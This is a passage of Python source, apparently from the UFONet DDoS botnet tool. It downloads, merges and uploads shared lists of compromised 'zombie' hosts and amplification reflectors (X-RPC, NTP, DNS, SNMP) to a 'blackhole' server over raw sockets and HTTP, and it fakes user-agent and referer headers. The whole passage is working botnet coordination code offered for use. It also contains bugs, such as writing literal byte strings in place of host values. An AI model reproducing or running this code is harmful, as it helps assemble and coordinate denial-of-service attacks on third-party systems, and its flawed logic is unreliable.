  2475. print("[Info] [Blackhole] Total [Droids] : "+ str(num_robots))
  2476. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  2477. f_out_troops = open('botnet/troops.txt', 'wb')
  2478. f_out_troops.write(f_in_troops.read())
  2479. f_in_troops.close()
  2480. f_out_troops.close()
  2481. num_aliens = 0
  2482. with open('botnet/aliens.txt') as f:
  2483. for _ in f:
  2484. num_aliens = num_aliens + 1
  2485. print("[Info] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  2486. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  2487. f_out_drones = open('botnet/drones.txt', 'wb')
  2488. f_out_drones.write(f_in_drones.read())
  2489. f_in_drones.close()
  2490. f_out_drones.close()
  2491. num_drones = 0
  2492. with open('botnet/drones.txt') as f:
  2493. for _ in f:
  2494. num_drones = num_drones + 1
  2495. print("[Info] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  2496. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  2497. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2498. f_out_reflectors.write(f_in_reflectors.read())
  2499. f_in_reflectors.close()
  2500. f_out_reflectors.close()
  2501. num_reflectors = 0
  2502. with open('botnet/reflectors.txt') as f:
  2503. for _ in f:
  2504. num_reflectors = num_reflectors + 1
  2505. print("[Info] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  2506. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  2507. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2508. f_out_crystals.write(f_in_crystals.read())
  2509. f_in_crystals.close()
  2510. f_out_crystals.close()
  2511. num_crystals = 0
  2512. with open('botnet/crystals.txt') as f:
  2513. for _ in f:
  2514. num_crystals = num_crystals + 1
  2515. print("[Info] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  2516. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  2517. f_out_warps = open('botnet/warps.txt', 'wb')
  2518. f_out_warps.write(f_in_warps.read())
  2519. f_in_warps.close()
  2520. f_out_warps.close()
  2521. num_warps = 0
  2522. with open('botnet/warps.txt') as f:
  2523. for _ in f:
  2524. num_warps = num_warps + 1
  2525. print("[Info] [Blackhole] Total [DNSs] : "+ str(num_warps))
  2526. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  2527. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2528. f_out_bosons.write(f_in_bosons.read())
  2529. f_in_bosons.close()
  2530. f_out_bosons.close()
  2531. num_bosons = 0
  2532. with open('botnet/bosons.txt') as f:
  2533. for _ in f:
  2534. num_bosons = num_bosons + 1
  2535. print("[Info] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  2536. print('-'*12 + '\n')
  2537. if not self.options.forceyes:
  2538. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  2539. print('-'*25)
  2540. else:
  2541. update_reply = "Y"
  2542. if update_reply == "n" or update_reply == "N":
  2543. os.remove('botnet/abductions.txt') # remove abductions file
  2544. os.remove('botnet/troops.txt') # remove troops file
  2545. os.remove('botnet/robots.txt') # remove robots file
  2546. os.remove('botnet/drones.txt') # remove drones file
  2547. os.remove('botnet/reflectors.txt') # remove reflectors file
  2548. os.remove('botnet/crystals.txt') # remove crystals file
  2549. os.remove('botnet/warps.txt') # remove warps file
  2550. os.remove('botnet/bosons.txt') # remove bosons file
  2551. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  2552. return
  2553. else:
  2554. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  2555. print('='*35)
  2556. zombies = self.extract_zombies()
  2557. if not zombies:
  2558. return
  2559. test = self.testing(zombies)
  2560. zombies_community = []
  2561. zombies_added = 0
  2562. f = open('botnet/abductions.txt')
  2563. abductions = f.readlines()
  2564. abductions = [abduction.strip() for abduction in abductions]
  2565. f.close()
  2566. fz = open(self.zombies_file)
  2567. zombies = fz.readlines()
  2568. zombies = [zombie.strip() for zombie in zombies]
  2569. fz.close()
  2570. for zombie in zombies:
  2571. if zombie not in abductions:
  2572. zombies_community.append(zombie)
  2573. zombies_added = zombies_added + 1
  2574. else:
  2575. pass
  2576. print("[Info] [Blackhole] Added [Zombies]: " + str(zombies_added))
  2577. aliens = self.extract_aliens()
  2578. if not aliens:
  2579. return
  2580. aliens_community = []
  2581. aliens_added = 0
  2582. f = open('botnet/troops.txt')
  2583. troops = f.readlines()
  2584. troops = [troop.strip() for troop in troops]
  2585. f.close()
  2586. fz = open(self.aliens_file)
  2587. aliens = fz.readlines()
  2588. aliens = [alien.strip() for alien in aliens]
  2589. fz.close()
  2590. for alien in aliens:
  2591. if alien not in troops:
  2592. aliens_community.append(alien)
  2593. aliens_added = aliens_added + 1
  2594. else:
  2595. pass
  2596. print("[Info] [Blackhole] Added [Aliens] : " + str(aliens_added))
  2597. droids = self.extract_droids()
  2598. if not droids:
  2599. return
  2600. droids_community = []
  2601. droids_added = 0
  2602. f = open('botnet/robots.txt')
  2603. robots = f.readlines()
  2604. robots = [robot.strip() for robot in robots]
  2605. f.close()
  2606. fz = open(self.droids_file)
  2607. droids = fz.readlines()
  2608. droids = [droid.strip() for droid in droids]
  2609. fz.close()
  2610. for droid in droids:
  2611. if droid not in robots:
  2612. droids_community.append(droid)
  2613. droids_added = droids_added + 1
  2614. else:
  2615. pass
  2616. print("[Info] [Blackhole] Added [Droids] : " + str(droids_added))
  2617. ucavs = self.extract_ucavs()
  2618. if not ucavs:
  2619. return
  2620. ucavs_community = []
  2621. ucavs_added = 0
  2622. f = open('botnet/drones.txt')
  2623. drones = f.readlines()
  2624. drones = [drone.strip() for drone in drones]
  2625. f.close()
  2626. fz = open(self.ucavs_file)
  2627. ucavs = fz.readlines()
  2628. ucavs = [ucav.strip() for ucav in ucavs]
  2629. fz.close()
  2630. for ucav in ucavs:
  2631. if ucav not in drones:
  2632. ucavs_community.append(ucav)
  2633. ucavs_added = ucavs_added + 1
  2634. else:
  2635. pass
  2636. print("[Info] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  2637. rpcs = self.extract_rpcs()
  2638. if not rpcs:
  2639. return
  2640. rpcs_community = []
  2641. rpcs_added = 0
  2642. f = open('botnet/reflectors.txt')
  2643. reflectors = f.readlines()
  2644. reflectors = [reflector.strip() for reflector in reflectors]
  2645. f.close()
  2646. fz = open(self.rpcs_file)
  2647. rpcs = fz.readlines()
  2648. rpcs = [rpc.strip() for rpc in rpcs]
  2649. fz.close()
  2650. for rpc in rpcs:
  2651. if rpc not in reflectors:
  2652. rpcs_community.append(rpc)
  2653. rpcs_added = rpcs_added + 1
  2654. else:
  2655. pass
  2656. print("[Info] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  2657. ntps = self.extract_ntps()
  2658. if not ntps:
  2659. return
  2660. ntps_community = []
  2661. ntps_added = 0
  2662. f = open('botnet/crystals.txt')
  2663. crystals = f.readlines()
  2664. crystals = [crystal.strip() for crystal in crystals]
  2665. f.close()
  2666. fz = open(self.ntps_file)
  2667. ntps = fz.readlines()
  2668. ntps = [ntp.strip() for ntp in ntps]
  2669. fz.close()
  2670. for ntp in ntps:
  2671. if ntp not in crystals:
  2672. ntps_community.append(ntp)
  2673. ntps_added = ntps_added + 1
  2674. else:
  2675. pass
  2676. print("[Info] [Blackhole] Added [NTPs] : " + str(ntps_added))
  2677. dnss = self.extract_dnss()
  2678. if not dnss:
  2679. return
  2680. dnss_community = []
  2681. dnss_added = 0
  2682. f = open('botnet/warps.txt')
  2683. warps = f.readlines()
  2684. warps = [warp.strip() for warp in warps]
  2685. f.close()
  2686. fz = open(self.dnss_file)
  2687. dnss = fz.readlines()
  2688. dnss = [dns.strip() for dns in dnss]
  2689. fz.close()
  2690. for dns in dnss:
  2691. if dns not in warps:
  2692. dnss_community.append(dns)
  2693. dnss_added = dnss_added + 1
  2694. else:
  2695. pass
  2696. print("[Info] [Blackhole] Added [DNSs] : " + str(dnss_added))
  2697. snmps = self.extract_snmps()
  2698. if not snmps:
  2699. return
  2700. snmps_community = []
  2701. snmps_added = 0
  2702. f = open('botnet/bosons.txt')
  2703. bosons = f.readlines()
  2704. bosons = [boson.strip() for boson in bosons]
  2705. f.close()
  2706. fz = open(self.snmps_file)
  2707. snmps = fz.readlines()
  2708. snmps = [snmp.strip() for snmp in snmps]
  2709. fz.close()
  2710. for snmp in snmps:
  2711. if snmp not in crystals:
  2712. snmps_community.append(snmp)
  2713. snmps_added = snmps_added + 1
  2714. else:
  2715. pass
  2716. print("[Info] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  2717. print('-'*12 + '\n')
  2718. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  2719. os.remove('botnet/abductions.txt') # remove abductions file
  2720. os.remove('botnet/troops.txt') # remove troops file
  2721. os.remove('botnet/robots.txt') # remove robots file
  2722. os.remove('botnet/drones.txt') # remove ucavs file
  2723. os.remove('botnet/reflectors.txt') # remove rpcs file
  2724. os.remove('botnet/crystals.txt') # remove crystals file
  2725. os.remove('botnet/warps.txt') # remove warps file
  2726. os.remove('botnet/bosons.txt') # remove snmps file
  2727. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  2728. return
  2729. else:
  2730. print("[Info] [AI] Trying to upload new [Zombies] to [Blackhole]...\n")
  2731. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  2732. for zombie in zombies_community:
  2733. fc.write(b'zombie.strip()')
  2734. fc.close()
  2735. os.remove('botnet/abductions.txt') # remove abductions file
  2736. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  2737. for alien in aliens_community:
  2738. fc.write(b'alien.strip()')
  2739. fc.close()
  2740. os.remove('botnet/troops.txt') # remove troops file
  2741. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  2742. for droid in droids_community:
  2743. fc.write(b'droid.strip()')
  2744. fc.close()
  2745. os.remove('botnet/robots.txt') # remove robots file
  2746. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  2747. for ucav in ucavs_community:
  2748. fc.write(b'ucav.strip()')
  2749. fc.close()
  2750. os.remove('botnet/drones.txt') # remove drones file
  2751. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  2752. for rpc in rpcs_community:
  2753. fc.write(b'rpc.strip()')
  2754. fc.close()
  2755. os.remove('botnet/reflectors.txt') # remove reflectors file
  2756. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  2757. for ntp in ntps_community:
  2758. fc.write(b'ntp.strip()')
  2759. fc.close()
  2760. os.remove('botnet/crystals.txt') # remove crystals file
  2761. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  2762. for dns in dnss_community:
  2763. fc.write(b'dns.strip()')
  2764. fc.close()
  2765. os.remove('botnet/warps.txt') # remove warps file
  2766. fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
  2767. for snmp in snmps_community:
  2768. fc.write(b'snmp.strip()')
  2769. fc.close()
  2770. os.remove('botnet/bosons.txt') # remove bosons file
  2771. try: # open a socket and send data to the blackhole reciever port
  2772. host = self.blackhole
  2773. cport = 9991
  2774. mport = 9990
  2775. try:
  2776. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  2777. cs.connect((host, cport))
  2778. cs.send(("SEND " + 'community_zombies.txt.gz').encode())
  2779. cs.close()
  2780. f = open('botnet/community_zombies.txt.gz', "rb")
  2781. data = f.read()
  2782. f.close()
  2783. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2784. ms.connect((host, mport))
  2785. ms.send(data)
  2786. ms.close()
  2787. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  2788. time.sleep(1)
  2789. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2790. cs.connect((host, cport))
  2791. cs.send(("SEND " + 'community_aliens.txt.gz').encode())
  2792. cs.close()
  2793. f = open('botnet/community_aliens.txt.gz', "rb")
  2794. data = f.read()
  2795. f.close()
  2796. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2797. ms.connect((host, mport))
  2798. ms.send(data)
  2799. ms.close()
  2800. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  2801. time.sleep(1)
  2802. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2803. cs.connect((host, cport))
  2804. cs.send(("SEND " + 'community_robots.txt.gz').encode())
  2805. cs.close()
  2806. f = open('botnet/community_droids.txt.gz', "rb")
  2807. data = f.read()
  2808. f.close()
  2809. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2810. ms.connect((host, mport))
  2811. ms.send(data)
  2812. ms.close()
  2813. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  2814. time.sleep(1)
  2815. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2816. cs.connect((host, cport))
  2817. cs.send(("SEND " + 'community_ucavs.txt.gz').encode())
  2818. cs.close()
  2819. f = open('botnet/community_ucavs.txt.gz', "rb")
  2820. data = f.read()
  2821. f.close()
  2822. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2823. ms.connect((host, mport))
  2824. ms.send(data)
  2825. ms.close()
  2826. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  2827. time.sleep(1)
  2828. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2829. cs.connect((host, cport))
  2830. cs.send(("SEND " + 'community_rpcs.txt.gz').encode())
  2831. cs.close()
  2832. f = open('botnet/community_rpcs.txt.gz', "rb")
  2833. data = f.read()
  2834. f.close()
  2835. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2836. ms.connect((host, mport))
  2837. ms.send(data)
  2838. ms.close()
  2839. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  2840. time.sleep(1)
  2841. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2842. cs.connect((host, cport))
  2843. cs.send(("SEND " + 'community_ntps.txt.gz').encode())
  2844. cs.close()
  2845. f = open('botnet/community_ntps.txt.gz', "rb")
  2846. data = f.read()
  2847. f.close()
  2848. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2849. ms.connect((host, mport))
  2850. ms.send(data)
  2851. ms.close()
  2852. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  2853. time.sleep(1)
  2854. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2855. cs.connect((host, cport))
  2856. cs.send(("SEND " + 'community_dnss.txt.gz').encode())
  2857. cs.close()
  2858. f = open('botnet/community_dnss.txt.gz', "rb")
  2859. data = f.read()
  2860. f.close()
  2861. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2862. ms.connect((host, mport))
  2863. ms.send(data)
  2864. ms.close()
  2865. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  2866. time.sleep(1)
  2867. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2868. cs.connect((host, cport))
  2869. cs.send(("SEND " + 'community_snmps.txt.gz').encode())
  2870. cs.close()
  2871. f = open('botnet/community_snmps.txt.gz', "rb")
  2872. data = f.read()
  2873. f.close()
  2874. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2875. ms.connect((host, mport))
  2876. ms.send(data)
  2877. ms.close()
  2878. os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
  2879. time.sleep(2) # sleep a bit more
  2880. print('-'*12 + '\n')
  2881. print("[Info] [AI] Transfer -> [DONE!]\n")
  2882. except Exception as e:
  2883. print(str(e) + "\n")
  2884. except:
  2885. print('-'*12 + '\n')
  2886. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  2887. return
  2888. except Exception as e:
  2889. print(str(e) + "\n")
  2890. print('-'*12 + '\n')
  2891. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  2892. return
  2893. def update_gui_data(self):
  2894. # download all GUI stream data
  2895. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2896. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2897. if self.options.proxy: # set proxy
  2898. self.proxy_transport(self.options.proxy)
  2899. if self.options.timeout: # set timeout
  2900. try:
  2901. timeout = int(self.options.timeout)
  2902. except:
  2903. timeout = 5
  2904. else:
  2905. timeout = 5
  2906. if timeout < 1:
  2907. timeout = 5
  2908. if self.options.forcessl:
  2909. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2910. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2911. tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2912. tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2913. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2914. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2915. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2916. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2917. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2918. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2919. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2920. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2921. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2922. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2923. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2924. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2925. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2926. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2927. nodes = urllib.request.Request('https://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2928. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2929. else:
  2930. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2931. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  2932. tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2933. tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
  2934. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2935. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  2936. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2937. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2938. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2939. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2940. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2941. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2942. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2943. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
  2944. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2945. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2946. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2947. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2948. nodes = urllib.request.Request('http://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2949. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx).read().decode('utf-8')
  2950. f = open(self.news_file, 'w')
  2951. f.write(news_reply)
  2952. f.close()
  2953. f = open(self.tv_file, 'w')
  2954. f.write(tv_reply)
  2955. f.close()
  2956. f = open(self.missions_file, 'w')
  2957. f.write(missions_reply)
  2958. f.close()
  2959. f = open(self.board_file, 'w')
  2960. f.write(board_reply)
  2961. f.close()
  2962. f = open(self.grid_file, 'w')
  2963. f.write(grid_reply)
  2964. f.close()
  2965. f = open(self.wargames_file, 'w')
  2966. f.write(wargames_reply)
  2967. f.close()
  2968. f = open(self.links_file, 'w')
  2969. f.write(links_reply)
  2970. f.close()
  2971. f = open(self.streams_file, 'w')
  2972. f.write(streams_reply)
  2973. f.close()
  2974. f = open(self.globalnet_file, 'w')
  2975. f.write(globalnet_reply)
  2976. f.close()
  2977. f = open(self.nodes_file, 'w')
  2978. f.write(nodes_reply)
  2979. f.close()
  2980. print('-'*25 + "\n")
  2981. print("[Info] [AI] GUI data correctly updated:\n")
  2982. if news_reply:
  2983. print("[Info] [AI] [News] : OK!")
  2984. if missions_reply:
  2985. print("[Info] [AI] [Missions] : OK!")
  2986. if board_reply:
  2987. print("[Info] [AI] [Board] : OK!")
  2988. if grid_reply:
  2989. print("[Info] [AI] [Grid] : OK!")
  2990. if wargames_reply:
  2991. print("[Info] [AI] [Wargames] : OK!")
  2992. if links_reply:
  2993. print("[Info] [AI] [Links] : OK!")
  2994. if streams_reply:
  2995. print("[Info] [AI] [Streams] : OK!")
  2996. if tv_reply:
  2997. print("[Info] [AI] [TV] : OK!")
  2998. if globalnet_reply:
  2999. print("[Info] [AI] [GlobalNet]: OK!")
  3000. if nodes_reply:
  3001. print("[Info] [AI] [Nodes] : OK!")
  3002. print('-'*25)
  3003. print("\n[AI] "+self.exit_msg+"\n")
  3004. def downloading_list(self):
  3005. # add your mirror to protect/share/distribute... [Zombies]
  3006. try:
  3007. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  3008. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3009. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3010. if self.options.timeout: # set timeout
  3011. try:
  3012. timeout = int(self.options.timeout)
  3013. except:
  3014. timeout = 5
  3015. else:
  3016. timeout = 5
  3017. if timeout < 1:
  3018. timeout = 5
  3019. if self.options.proxy: # set proxy
  3020. self.proxy_transport(self.options.proxy)
  3021. if self.options.forcessl:
  3022. try:
  3023. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  3024. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3025. except:
  3026. abductions_reply = ""
  3027. try:
  3028. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  3029. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3030. except:
  3031. troops_reply = ""
  3032. try:
  3033. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  3034. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3035. except:
  3036. robots_reply = ""
  3037. try:
  3038. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  3039. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3040. except:
  3041. drones_reply = ""
  3042. try:
  3043. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  3044. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3045. except:
  3046. reflectors_reply = ""
  3047. try:
  3048. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  3049. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3050. except:
  3051. crystals_reply = ""
  3052. try:
  3053. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  3054. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3055. except:
  3056. warps_reply = ""
  3057. try:
  3058. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  3059. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3060. except:
  3061. bosons_reply = ""
  3062. else:
  3063. try:
  3064. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  3065. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3066. except:
  3067. abductions_reply = ""
  3068. try:
  3069. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  3070. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3071. except:
  3072. troops_reply = ""
  3073. try:
  3074. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  3075. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3076. except:
  3077. robots_reply = ""
  3078. try:
  3079. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  3080. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3081. except:
  3082. drones_reply = ""
  3083. try:
  3084. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  3085. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3086. except:
  3087. reflectors_reply = ""
  3088. try:
  3089. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  3090. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3091. except:
  3092. crystals_reply = ""
  3093. try:
  3094. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  3095. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3096. except:
  3097. warps_reply = ""
  3098. try:
  3099. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  3100. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3101. except:
  3102. bosons_reply = ""
  3103. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3104. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  3105. print('-'*12 + '\n')
  3106. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  3107. return
  3108. f = open('botnet/abductions.txt.gz', 'wb')
  3109. f.write(abductions_reply)
  3110. f.close()
  3111. f = open('botnet/troops.txt.gz', 'wb')
  3112. f.write(troops_reply)
  3113. f.close()
  3114. f = open('botnet/robots.txt.gz', 'wb')
  3115. f.write(robots_reply)
  3116. f.close()
  3117. f = open('botnet/drones.txt.gz', 'wb')
  3118. f.write(drones_reply)
  3119. f.close()
  3120. f = open('botnet/reflectors.txt.gz', 'wb')
  3121. f.write(reflectors_reply)
  3122. f.close()
  3123. f = open('botnet/crystals.txt.gz', 'wb')
  3124. f.write(crystals_reply)
  3125. f.close()
  3126. f = open('botnet/warps.txt.gz', 'wb')
  3127. f.write(warps_reply)
  3128. f.close()
  3129. f = open('botnet/bosons.txt.gz', 'wb')
  3130. f.write(bosons_reply)
  3131. f.close()
  3132. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  3133. except:
  3134. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  3135. print('-'*12 + '\n')
  3136. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  3137. return
  3138. print('-'*12 + '\n')
  3139. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  3140. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3141. f_out_abductions.write(f_in_abductions.read())
  3142. f_in_abductions.close()
  3143. f_out_abductions.close()
  3144. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  3145. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  3146. f_out_troops = open('botnet/troops.txt', 'wb')
  3147. f_out_troops.write(f_in_troops.read())
  3148. f_in_troops.close()
  3149. f_out_troops.close()
  3150. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  3151. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  3152. f_out_robots = open('botnet/robots.txt', 'wb')
  3153. f_out_robots.write(f_in_robots.read())
  3154. f_in_robots.close()
  3155. f_out_robots.close()
  3156. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  3157. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  3158. f_out_drones = open('botnet/drones.txt', 'wb')
  3159. f_out_drones.write(f_in_drones.read())
  3160. f_in_drones.close()
  3161. f_out_drones.close()
  3162. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  3163. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  3164. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
